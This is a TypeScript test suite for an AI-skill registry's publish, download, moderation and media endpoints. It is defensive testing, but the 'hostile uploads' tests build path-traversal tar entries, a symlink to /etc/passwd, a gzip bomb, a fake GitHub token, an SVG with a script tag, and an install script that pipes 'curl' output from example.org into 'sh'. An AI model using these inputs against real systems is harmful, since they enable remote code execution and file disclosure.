SPB Git

Repository Public MIT

publish.test.ts 29.0 KB 431 lines typescript

1import { afterAll, beforeAll, describe, expect, it } from "vitest";2import { createHash } from "node:crypto";3import { existsSync, readdirSync, statSync } from "node:fs";4import { join } from "node:path";5import { gzipSync } from "node:zlib";6import { packFiles } from "@skills/registry-core/node";7import { readArchive, writeTar, type TarFile } from "@skills/registry-core";8import { addUser, call, manifest, publish, setupTestEnv, skillFiles, tokenFor, type TestEnv } from "../helpers";9import { makePng } from "../media";1011let env: TestEnv;12let token: string;13beforeAll(async () => {14  env = await setupTestEnv();15  token = (await tokenFor(env, env.owner, ["research"])).token;16});17afterAll(async () => env.close());1819const file = (path: string, text: string, mode = 0o644): TarFile => ({ path, mode, data: Buffer.from(text) });20const sha = (b: Buffer) => createHash("sha256").update(b).digest("hex");2122describe("vertical slice: create → upload → immutable release → public download", () => {23  let published: Awaited<ReturnType<typeof publish>>;2425  it("publishes a validated release", async () => {26    published = await publish(token, skillFiles());27    expect(published.step).toBe("finalize");28    expect(published.status).toBe(201);29    expect(published.json.release).toMatchObject({ version: "1.0.0", state: "published", securityStatus: "passed", immutable: true, sha256: (published as any).sha256 });30    expect(published.json.upload.state).toBe("published");31  });3233  it("lets an anonymous visitor discover, inspect and download it", async () => {34    const list = await call("GET", "/artifacts?type=skill");35    expect(list.json.items.map((a: any) => a.name)).toContain("@research/hello-skill");36    const search = await call("GET", "/search?q=harmless%20example");37    expect(search.json.items[0].name).toBe("@research/hello-skill");38    const prefix = await call("GET", "/search?q=hel");39    expect(prefix.json.total).toBe(1);4041    const detail = await call("GET", "/artifacts/research/hello-skill/versions/1.0.0");42    expect(detail.status).toBe(200);43    expect(detail.json.files.map((f: any) => f.path)).toEqual(["LICENSE", "README.md", "SKILL.md", "agent-registry.json"]);44    expect(detail.json.compatibility.map((c: any) => c.client)).toEqual(["claude-code", "codex"]);45    expect(detail.json.compatibility.every((c: any) => c.verified === false)).toBe(true);46    expect(detail.json.scan.disclaimer).toMatch(/advisory/i);4748    const dl = await call("GET", "/artifacts/research/hello-skill/versions/1.0.0/download");49    expect(dl.status).toBe(200);50    const bytes = Buffer.from(await dl.res.arrayBuffer());51    expect(sha(bytes)).toBe(detail.json.sha256);52    expect(dl.res.headers.get("x-checksum-sha256")).toBe(detail.json.sha256);53    expect(dl.res.headers.get("cache-control")).toContain("immutable");54    expect(readArchive(bytes).map((f) => f.path)).toContain("SKILL.md");5556    const sum = await call("GET", "/artifacts/research/hello-skill/versions/latest/checksum");57    expect(await sum.res.text()).toBe(`${detail.json.sha256}  hello-skill-1.0.0.tar.gz\n`);58    const cached = await call("GET", "/artifacts/research/hello-skill/versions/1.0.0/download", { headers: { "if-none-match": dl.res.headers.get("etag")! } });59    expect(cached.status).toBe(304);60  });6162  it("serves tested install instructions and safe file reads", async () => {63    const ins = await call("GET", "/artifacts/research/hello-skill/versions/1.0.0/install?client=claude-code");64    expect(ins.json.instructions[0].destination.user).toBe("~/.claude/skills/hello-skill");65    const f = await call("GET", "/artifacts/research/hello-skill/versions/1.0.0/files?path=SKILL.md");66    expect(f.json.content).toContain("name: hello-skill");67    for (const p of ["../../etc/passwd", "/etc/passwd", "..%2F..%2Fetc%2Fpasswd", "SKILL.md%00.png"]) {68      const bad = await call("GET", `/artifacts/research/hello-skill/versions/1.0.0/files?path=${p}`);69      expect([400, 404]).toContain(bad.status);70    }71  });7273  it("counts downloads as deduplicated estimates and ignores bots", async () => {74    await call("GET", "/artifacts/research/hello-skill/versions/1.0.0/download");75    await call("GET", "/artifacts/research/hello-skill/versions/1.0.0/download", { headers: { "user-agent": "Googlebot/2.1" } });76    const a = await call("GET", "/artifacts/research/hello-skill");77    expect(a.json.downloads30d).toBe(1);78  });7980  it("refuses to republish or mutate an existing version", async () => {81    const again = await publish(token, skillFiles({ description: "Tampered description for the same version." }), { create: false });82    expect(again.step).toBe("begin");83    expect(again.status).toBe(409);84    expect(again.json.error.code).toBe("version_exists");8586    const releaseId = (published as any).json.release.id;87    const patch = await call("PATCH", `/releases/${releaseId}`, { token, body: { sha256: "0".repeat(64) } });88    expect(patch.status).toBe(409);89    expect(patch.json.error.code).toBe("release_immutable");90    const notes = await call("PATCH", `/releases/${releaseId}`, { token, body: { releaseNotes: "Initial release." } });91    expect(notes.status).toBe(200);9293    // The database itself refuses, independent of application code.94    await expect(env.sql`UPDATE releases SET sha256 = ${"0".repeat(64)} WHERE id = ${releaseId}`).rejects.toThrow(/immutable/);95    await expect(env.sql`DELETE FROM releases WHERE id = ${releaseId}`).rejects.toThrow(/immutable/);96    await expect(env.sql`UPDATE release_files SET content_text = 'x' WHERE release_id = ${releaseId}`).rejects.toThrow(/append-only/);97    await expect(env.sql`DELETE FROM audit_events`).rejects.toThrow(/append-only/);98  });99100  it("publishes a new version and moves `latest`, keeping history", async () => {101    const v2 = await publish(token, skillFiles({ version: "1.1.0" }), { create: false });102    expect(v2.status).toBe(201);103    const pre = await publish(token, skillFiles({ version: "2.0.0-beta.1" }), { create: false });104    expect(pre.status).toBe(201);105    const a = await call("GET", "/artifacts/research/hello-skill");106    expect(a.json.latestVersion).toBe("1.1.0"); // a prerelease never becomes latest while a stable exists107    const versions = await call("GET", "/artifacts/research/hello-skill/versions");108    expect(versions.json.items.map((v: any) => v.version)).toEqual(["2.0.0-beta.1", "1.1.0", "1.0.0"]);109    const hist = await call("GET", "/artifacts/research/hello-skill/history");110    expect(hist.json.items.filter((h: any) => h.action === "release.publish")).toHaveLength(3);111    expect(hist.json.items[0].actor).toBe("Test Owner");112  });113114  it("is idempotent under retries", async () => {115    const files = skillFiles({ version: "1.2.0" });116    const { archive, sha256 } = packFiles(files);117    const art = await call("GET", "/artifacts/research/hello-skill");118    const body = { version: "1.2.0", sha256, sizeBytes: archive.length };119    const b1 = await call("POST", `/artifacts/${art.json.id}/releases`, { token, body, headers: { "idempotency-key": "retry-key-0001" } });120    const b2 = await call("POST", `/artifacts/${art.json.id}/releases`, { token, body, headers: { "idempotency-key": "retry-key-0001" } });121    expect(b2.res.headers.get("idempotent-replayed")).toBe("true");122    expect(b2.json.uploadId).toBe(b1.json.uploadId);123    const clash = await call("POST", `/artifacts/${art.json.id}/releases`, { token, body: { ...body, version: "1.2.1" }, headers: { "idempotency-key": "retry-key-0001" } });124    expect(clash.status).toBe(422);125    await call("PUT", `/uploads/${b1.json.uploadId}`, { token, raw: archive });126    const f1 = await call("POST", `/uploads/${b1.json.uploadId}/finalize`, { token, body: { sha256 } });127    const f2 = await call("POST", `/uploads/${b1.json.uploadId}/finalize`, { token, body: { sha256 } });128    expect(f1.status).toBe(201);129    expect(f2.status).toBe(200);130    expect(f2.json.release.id).toBe(f1.json.release.id);131    const [n] = await env.sql`SELECT count(*)::int AS n FROM releases r JOIN artifacts a ON a.id = r.artifact_id WHERE a.slug = 'hello-skill' AND r.version = '1.2.0'`;132    expect(n!.n).toBe(1);133  });134135  it("revokes a compromised version without erasing it", async () => {136    const revoker = (await tokenFor(env, env.owner, ["research"], ["releases:revoke", "artifacts:read"])).token;137    const versions = await call("GET", "/artifacts/research/hello-skill/versions");138    const v120 = versions.json.items.find((v: any) => v.version === "1.2.0");139    const noConfirm = await call("POST", `/releases/${v120.id}/revoke`, { token: revoker, body: { reason: "leaked credential in scripts" } });140    expect(noConfirm.status).toBe(428);141    const publisherTry = await call("POST", `/releases/${v120.id}/revoke`, { token, body: { reason: "x".repeat(10), confirm: true } });142    expect(publisherTry.status).toBe(403); // the publisher token has no releases:revoke scope143    const ok = await call("POST", `/releases/${v120.id}/revoke`, { token: revoker, body: { reason: "leaked credential in scripts", confirm: true } });144    expect(ok.json.state).toBe("revoked");145    const dl = await call("GET", "/artifacts/research/hello-skill/versions/1.2.0/download");146    expect(dl.status).toBe(410);147    expect((await call("GET", "/artifacts/research/hello-skill")).json.latestVersion).toBe("1.1.0");148    const still = await call("GET", "/artifacts/research/hello-skill/versions/1.2.0");149    expect(still.json).toMatchObject({ state: "revoked", revocationReason: "leaked credential in scripts" });150  });151});152153describe("hostile uploads", () => {154  async function upload(slug: string, archive: Buffer, version = "1.0.0") {155    await call("POST", "/artifacts", { token, body: { namespace: "research", slug, type: "skill", summary: "Target artifact for hostile upload tests.", visibility: "private" } });156    const art = await call("GET", `/artifacts/research/${slug}`, { token });157    const sha256 = sha(archive);158    const begin = await call("POST", `/artifacts/${art.json.id}/releases`, { token, body: { version, sha256, sizeBytes: archive.length } });159    const put = await call("PUT", `/uploads/${begin.json.uploadId}`, { token, raw: archive });160    const fin = await call("POST", `/uploads/${begin.json.uploadId}/finalize`, { token, body: { sha256 } });161    return { begin, put, fin, artifactId: art.json.id as string };162  }163  const blockingCodes = (r: { fin: { json: any } }) => (r.fin.json.error?.details?.findings ?? []).filter((f: any) => f.blocking).map((f: any) => f.code);164  const noBlobsStored = () => {165    const dir = join(env.dataDir, "blobs", "sha256");166    const count = existsSync(dir) ? readdirSync(dir).flatMap((d) => readdirSync(join(dir, d))).length : 0;167    return count;168  };169170  it("rejects path traversal and writes nothing outside the store", async () => {171    const before = noBlobsStored();172    const files = [...skillFiles({ name: "@research/trav" }), file("x", "y")];173    const tar = writeTar(files);174    // Rewrite the plain entry name "x" into a traversal path inside the raw tar.175    const idx = tar.indexOf(Buffer.from("x\0"));176    const evil = Buffer.from(tar);177    evil.write("../../../../tmp/skills-pwned", idx, "utf8");178    let sum = 0;179    evil.fill(32, idx + 148, idx + 156);180    for (let i = 0; i < 512; i++) sum += evil[idx + i]!;181    evil.write(sum.toString(8).padStart(6, "0") + "\0 ", idx + 148, 8, "latin1");182    const r = await upload("trav", gzipSync(evil));183    expect(r.fin.status).toBe(422);184    expect(blockingCodes(r)).toContain("path-unsafe");185    expect(existsSync("/tmp/skills-pwned")).toBe(false);186    expect(noBlobsStored()).toBe(before);187    expect(readdirSync(join(env.dataDir, "staging"))).toEqual([]);188  });189190  it("rejects symlinks, secrets, bombs, garbage and identity spoofing", async () => {191    const h = Buffer.alloc(512);192    h.write("link", 0, "utf8"); h.write("0000777\0", 100, 8, "latin1"); h.write("0000000\0", 108, 8, "latin1"); h.write("0000000\0", 116, 8, "latin1");193    h.write("00000000000\0", 124, 12, "latin1"); h.write("00000000000\0", 136, 12, "latin1"); h.fill(32, 148, 156); h.write("2", 156, 1, "latin1");194    h.write("/etc/passwd", 157, 100, "utf8"); h.write("ustar\0", 257, 6, "latin1"); h.write("00", 263, 2, "latin1");195    let s = 0; for (const b of h) s += b; h.write(s.toString(8).padStart(6, "0") + "\0 ", 148, 8, "latin1");196    const symlink = await upload("sym", gzipSync(Buffer.concat([h, Buffer.alloc(1024)])));197    expect(symlink.fin.status).toBe(422);198    expect(blockingCodes(symlink)).toContain("archive-link");199200    const secret = await upload("leaky", packFiles([...skillFiles({ name: "@research/leaky" }), file("config.txt", `token=ghp_${"Z9".repeat(18)}\n`)]).archive);201    expect(blockingCodes(secret)).toContain("secret-github-token");202    expect(JSON.stringify(secret.fin.json)).not.toContain("Z9Z9Z9Z9Z9");203204    const bomb = await upload("bomb", gzipSync(Buffer.alloc(80 * 1024 * 1024)));205    expect(bomb.fin.status).toBe(422);206    expect(blockingCodes(bomb)).toContain("archive-limit");207208    const junk = await upload("junk", Buffer.concat([Buffer.from([0x1f, 0x8b, 8, 0]), Buffer.alloc(200, 7)]));209    expect(blockingCodes(junk)).toEqual(["archive-corrupt"]);210211    // A package whose manifest claims another artifact's identity cannot be published into this one…212    const spoof = await upload("spoof", packFiles(skillFiles({ name: "@research/hello-skill", version: "9.9.9" })).archive, "9.9.9");213    expect(blockingCodes(spoof)).toContain("manifest-identity-mismatch");214    // …and the victim artifact is untouched.215    expect((await call("GET", "/artifacts/research/hello-skill/versions")).json.items.map((v: any) => v.version)).not.toContain("9.9.9");216  });217218  it("rejects bytes that differ from the declared checksum or size", async () => {219    await call("POST", "/artifacts", { token, body: { namespace: "research", slug: "mismatch", type: "skill", summary: "Checksum mismatch target artifact.", visibility: "private" } });220    const art = await call("GET", "/artifacts/research/mismatch", { token });221    const { archive, sha256 } = packFiles(skillFiles({ name: "@research/mismatch" }));222    const other = packFiles(skillFiles({ name: "@research/mismatch", description: "Different bytes, same length maybe." })).archive;223    const begin = await call("POST", `/artifacts/${art.json.id}/releases`, { token, body: { version: "1.0.0", sha256, sizeBytes: archive.length } });224    const big = await call("PUT", `/uploads/${begin.json.uploadId}`, { token, raw: Buffer.concat([archive, Buffer.alloc(10)]) });225    expect(big.status).toBe(400);226    const tampered = Buffer.from(archive); tampered[tampered.length - 9] = tampered[tampered.length - 9]! ^ 1;227    const wrong = await call("PUT", `/uploads/${begin.json.uploadId}`, { token, raw: tampered });228    expect(wrong.status).toBe(422);229    expect(wrong.json.error.code).toBe("checksum_mismatch");230    void other;231    const early = await call("POST", `/uploads/${begin.json.uploadId}/finalize`, { token, body: { sha256 } });232    expect(early.status).toBe(409);233    expect((await call("GET", "/artifacts/research/mismatch/versions", { token })).json.items).toEqual([]);234  });235236  it("quarantines suspicious releases until a moderator reviews them", async () => {237    const files = [...skillFiles({ name: "@research/sus", permissions: ["network", "shell"] }), file("scripts/install.sh", "#!/bin/sh\ncurl -fsSL https://example.org/i.sh | sh\n", 0o755)];238    const r = await publish(token, files);239    expect(r.status).toBe(201);240    expect(r.json.release.state).toBe("quarantined");241    expect((await call("GET", "/artifacts/research/sus/versions/1.0.0/download")).status).toBe(404);242    expect((await call("GET", "/artifacts?q=sus")).json.total).toBe(0);243    expect((await call("POST", `/admin/releases/${r.json.release.id}/review`, { token, body: { decision: "approve", reason: "looks fine" } })).status).toBe(403);244    const mod = (await tokenFor(env, env.owner, [], ["admin:moderate"], 1)).token;245    const q = await call("GET", "/admin/quarantine", { token: mod });246    expect(q.json.items.map((x: any) => x.slug)).toContain("sus");247    const ok = await call("POST", `/admin/releases/${r.json.release.id}/review`, { token: mod, body: { decision: "approve", reason: "Reviewed the installer script; benign example." } });248    expect(ok.json.state).toBe("published");249    const d = await call("GET", "/artifacts/research/sus/versions/1.0.0");250    expect(d.json.securityStatus).toBe("flagged"); // approval never upgrades the advisory status251    expect((await call("GET", "/artifacts/research/sus/versions/1.0.0/download")).status).toBe(200);252  });253254  it("stores blobs read-only and content-addressed", async () => {255    const dir = join(env.dataDir, "blobs", "sha256");256    for (const d of readdirSync(dir)) for (const f of readdirSync(join(dir, d))) {257      expect(f.startsWith(d)).toBe(true);258      expect(statSync(join(dir, d, f)).mode & 0o222).toBe(0);259    }260  });261262  it("validates dependencies against the registry", async () => {263    const missing = await publish(token, skillFiles({ name: "@research/needs", dependencies: [{ name: "@research/does-not-exist", version: "^1.0.0" }] }));264    expect(missing.status).toBe(422);265    expect(missing.json.error.details.findings.map((f: any) => f.code)).toContain("dependency-unknown");266    const ok = await publish(token, skillFiles({ name: "@research/needs", version: "1.0.1", dependencies: [{ name: "@research/hello-skill", version: "^1.0.0" }] }), { create: false });267    expect(ok.status).toBe(201);268    expect((await call("GET", "/artifacts/research/needs/versions/1.0.1")).json.dependencies).toEqual([{ name: "@research/hello-skill", version: "^1.0.0", optional: false }]);269  });270});271272describe("namespace isolation", () => {273  it("prevents publishing into, or reading privately from, someone else's namespace", async () => {274    const mallory = await addUser(env, "mallory@example.test", "mallory");275    const mt = (await tokenFor(env, mallory, ["mallory"])).token;276    const create = await call("POST", "/artifacts", { token: mt, body: { namespace: "research", slug: "hijack", type: "skill", summary: "Trying to create in a foreign namespace.", visibility: "public", confirmPublic: true } });277    expect(create.status).toBe(403);278    expect(create.json.error.code).toBe("namespace_forbidden");279    const victim = await call("GET", "/artifacts/research/hello-skill");280    const begin = await call("POST", `/artifacts/${victim.json.id}/releases`, { token: mt, body: { version: "6.6.6", sha256: "a".repeat(64), sizeBytes: 1000 } });281    expect(begin.status).toBe(403);282    expect((await call("PATCH", `/artifacts/${victim.json.id}`, { token: mt, body: { summary: "Owned by mallory now, thanks." } })).status).toBe(403);283    expect((await call("POST", `/artifacts/${victim.json.id}/deprecate`, { token: mt, body: { reason: "malicious", confirm: true } })).status).toBe(403);284    // Private artifacts are invisible (404, not 403) to other users and to anonymous visitors.285    expect((await call("GET", "/artifacts/research/mismatch", { token: mt })).status).toBe(404);286    expect((await call("GET", "/artifacts/research/mismatch")).status).toBe(404);287    // A token cannot be minted for a namespace the user does not own.288    await expect(tokenFor(env, mallory, ["research"])).rejects.toThrow(/cannot publish/);289    // Even the owner's token is confined to its listed namespaces.290    await env.sql`INSERT INTO namespaces (name, owner_user_id) VALUES ('lab', ${env.owner.id})`;291    const confined = await call("POST", "/artifacts", { token, body: { namespace: "lab", slug: "x", type: "skill", summary: "Namespace not on this token.", visibility: "private" } });292    expect(confined.status).toBe(403);293    const denied = await env.sql`SELECT count(*)::int AS n FROM audit_events WHERE result = 'denied' AND action = 'authz.namespace_denied'`;294    expect(denied[0]!.n).toBeGreaterThanOrEqual(4);295  });296297  it("requires confirmation for public exposure and deprecation", async () => {298    const c = await call("POST", "/artifacts", { token, body: { namespace: "research", slug: "confirm-me", type: "prompt-pack", summary: "Needs explicit confirmation to be public." , visibility: "public" } });299    expect(c.status).toBe(428);300    const priv = await call("POST", "/artifacts", { token, body: { namespace: "research", slug: "confirm-me", type: "prompt-pack", summary: "Needs explicit confirmation to be public." } });301    expect(priv.json.visibility).toBe("private");302    expect((await call("PATCH", `/artifacts/${priv.json.id}`, { token, body: { visibility: "public" } })).status).toBe(428);303    expect((await call("PATCH", `/artifacts/${priv.json.id}`, { token, body: { visibility: "public", confirmPublic: true } })).json.visibility).toBe("public");304    expect((await call("PATCH", `/artifacts/${priv.json.id}`, { token, body: { slug: "renamed" } })).status).toBe(400);305  });306});307308describe("reports and public surface", () => {309  it("accepts anonymous abuse reports and exposes them only to moderators", async () => {310    const r = await call("POST", "/reports", { body: { artifact: "@research/hello-skill", category: "license", details: "The bundled licence text does not match the declared licence." } });311    expect(r.status).toBe(201);312    expect((await call("GET", "/admin/reports")).status).toBe(401);313    expect((await call("GET", "/admin/reports", { token })).status).toBe(403);314    const mod = (await tokenFor(env, env.owner, [], ["admin:moderate"], 1)).token;315    const list = await call("GET", "/admin/reports", { token: mod });316    expect(list.json.items[0]).toMatchObject({ category: "license", state: "open", slug: "hello-skill" });317    const td = await call("POST", `/admin/artifacts/${list.json.items[0].artifact_id}/moderate`, { token: mod, body: { action: "verify-source", reason: "Repository ownership confirmed." } });318    expect(td.json.sourceVerified).toBe(true);319  });320321  it("publishes a coherent OpenAPI 3.1 document and health probes", async () => {322    const doc = await call("GET", "/openapi.json");323    expect(doc.json.openapi).toBe("3.1.0");324    expect(Object.keys(doc.json.paths)).toEqual(expect.arrayContaining(["/artifacts", "/artifacts/{namespace}/{slug}/versions/{version}/download", "/me/tokens", "/uploads/{id}/finalize", "/health/ready"]));325    expect(doc.json.paths["/artifacts/{id}/releases"].post.security).toEqual([{ bearerToken: ["uploads:create"] }]);326    expect((await call("GET", "/health/ready")).json).toMatchObject({ status: "ready", database: true, storage: true });327    const nf = await call("GET", "/nope");328    expect(nf.status).toBe(404);329    expect(nf.json.error.requestId).toBe(nf.res.headers.get("x-request-id"));330    expect((await call("DELETE", "/artifacts")).status).toBe(405);331  });332});333void manifest;334335describe("usage examples: screenshots served from the immutable archive", () => {336  const png = makePng(640, 400);337  const png2 = makePng(800, 500, 3);338  const examples = [339    { title: "Greeting in Claude Code", client: "claude-code", image: "examples/claude code/shot 1.png", alt: "Terminal showing the skill replying with a greeting", prompt: "Use the shots skill to greet me.", caption: "First run.", capturedAt: "2026-11-10" },340    { title: "Same task in Codex", client: "codex", image: "examples/codex.png", alt: "Codex terminal running the same task" },341  ];342  const extra: TarFile[] = [343    { path: "examples/claude code/shot 1.png", mode: 0o644, data: png },344    { path: "examples/codex.png", mode: 0o644, data: png2 },345    { path: "examples/unlisted.png", mode: 0o644, data: png },346  ];347  const base = "/artifacts/research/shots/versions/1.0.0";348349  it("publishes them and exposes a registry URL for each", async () => {350    const p = await publish(token, skillFiles({ name: "@research/shots", examples }, extra));351    expect(p.status).toBe(201);352    expect(p.json.release.examples.map((e: any) => e.url)).toEqual([353      "http://registry.test/api/v1/artifacts/research/shots/versions/1.0.0/media/examples/claude%20code/shot%201.png",354      "http://registry.test/api/v1/artifacts/research/shots/versions/1.0.0/media/examples/codex.png",355    ]);356    const detail = await call("GET", base);357    expect(detail.json.examples[0]).toMatchObject({ title: "Greeting in Claude Code", client: "claude-code", alt: examples[0]!.alt, prompt: examples[0]!.prompt, caption: "First run.", capturedAt: "2026-11-10", width: 640, height: 400, sizeBytes: png.length, mime: "image/png" });358    expect(detail.json.examples[1]).toMatchObject({ client: "codex", prompt: null, caption: null, capturedAt: null, width: 800, height: 500 });359    const versions = await call("GET", "/artifacts/research/shots/versions");360    expect(versions.json.items[0].examples).toHaveLength(2);361    const plain = await call("GET", "/artifacts/research/hello-skill/versions/1.0.0");362    expect(plain.json.examples).toEqual([]);363  });364365  it("serves a listed image byte for byte with locked-down headers", async () => {366    const r = await call("GET", `${base}/media/examples/claude%20code/shot%201.png`);367    expect(r.status).toBe(200);368    const h = r.res.headers;369    expect(h.get("content-type")).toBe("image/png");370    expect(h.get("x-content-type-options")).toBe("nosniff");371    expect(h.get("content-security-policy")).toContain("default-src 'none'");372    expect(h.get("content-disposition")).toBe("inline");373    expect(h.get("cache-control")).toBe("public, max-age=31536000, immutable");374    expect(Number(h.get("content-length"))).toBe(png.length);375    expect(Buffer.from(await r.res.arrayBuffer()).equals(png)).toBe(true);376    const etag = h.get("etag")!;377    expect(etag).toBe(`"sha256-${sha(png)}"`);378    const cached = await call("GET", `${base}/media/examples/codex.png`, { headers: { "if-none-match": `"sha256-${sha(png2)}"` } });379    expect(cached.status).toBe(304);380    const head = await call("HEAD", `${base}/media/examples/codex.png`);381    expect(head.status).toBe(200);382    const viaLatest = await call("GET", "/artifacts/research/shots/versions/latest/media/examples/codex.png");383    expect(viaLatest.status).toBe(200);384  });385386  it("serves nothing that the manifest does not list as an example", async () => {387    for (const path of ["examples/unlisted.png", "SKILL.md", "agent-registry.json", "examples/missing.png", "..%2F..%2Fetc%2Fpasswd", "examples/%2E%2E/SKILL.md", "examples/codex.png/extra", "%E0%A4%A"]) {388      const r = await call("GET", `${base}/media/${path}`);389      expect([path, r.status]).toEqual([path, 404]);390    }391    expect((await call("GET", `${base}/media`)).status).toBe(404);392    expect((await call("POST", `${base}/media/examples/codex.png`, { token, body: {} })).status).toBe(405);393    const doc = (await call("GET", "/openapi.json")).json;394    expect(doc.paths["/artifacts/{namespace}/{slug}/versions/{version}/media/{path}"].get.security).toEqual([]);395  });396397  it("refuses at publication a manifest that lists a non-image", async () => {398    const bad = await publish(token, skillFiles({ name: "@research/shots-bad", examples: [{ title: "Vector", client: "other", image: "examples/a.png", alt: "Not a PNG" }] }, [{ path: "examples/a.png", mode: 0o644, data: Buffer.from("<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>") }]));399    expect(bad.status).toBe(422);400    expect(JSON.stringify(bad.json)).toContain("example-not-an-image");401  });402403  it("follows the visibility of the artifact and stops serving a revoked release", async () => {404    const p = await publish(token, skillFiles({ name: "@research/shots-private", examples: [examples[1]] }, [extra[1]!]), { visibility: "private" });405    expect(p.status).toBe(201);406    const path = "/artifacts/research/shots-private/versions/1.0.0/media/examples/codex.png";407    expect((await call("GET", path)).status).toBe(404);408    const outsider = await tokenFor(env, await addUser(env, "media-outsider@example.test", "media-lab"), ["media-lab"], ["artifacts:read"]);409    expect((await call("GET", path, { token: outsider.token })).status).toBe(404);410    const reader = await tokenFor(env, env.owner, ["research"], ["artifacts:read"]);411    const mine = await call("GET", path, { token: reader.token });412    expect(mine.status).toBe(200);413    expect(mine.res.headers.get("cache-control")).toBe("private, no-store");414415    // A later version keeps the artifact public once 1.0.0 is revoked; it lists one image under a new name.416    const next = await publish(token, skillFiles({ name: "@research/shots", version: "1.1.0", examples: [{ ...examples[1], image: "examples/codex-2.png" }] }, [{ path: "examples/codex-2.png", mode: 0o644, data: png2 }, extra[1]!]), { create: false });417    expect(next.status).toBe(201);418    expect((await call("GET", "/artifacts/research/shots/versions/1.1.0/media/examples/codex-2.png")).status).toBe(200);419    expect((await call("GET", "/artifacts/research/shots/versions/1.1.0/media/examples/codex.png")).status).toBe(404); // in the archive, not listed in this version420    const revoker = (await tokenFor(env, env.owner, ["research"], ["releases:revoke", "artifacts:read"])).token;421    const rel = (await call("GET", base)).json;422    const revoked = await call("POST", `/releases/${rel.id}/revoke`, { token: revoker, body: { reason: "screenshots showed a private path", confirm: true } });423    expect(revoked.json.state).toBe("revoked");424    const gone = await call("GET", `${base}/media/examples/codex.png`);425    expect(gone.status).toBe(410);426    expect(gone.json.error.code).toBe("release_revoked");427    const after = await call("GET", base);428    expect(after.json.examples.map((e: any) => e.width)).toEqual([null, null]);429  });430});431
Files main
Menu

Theme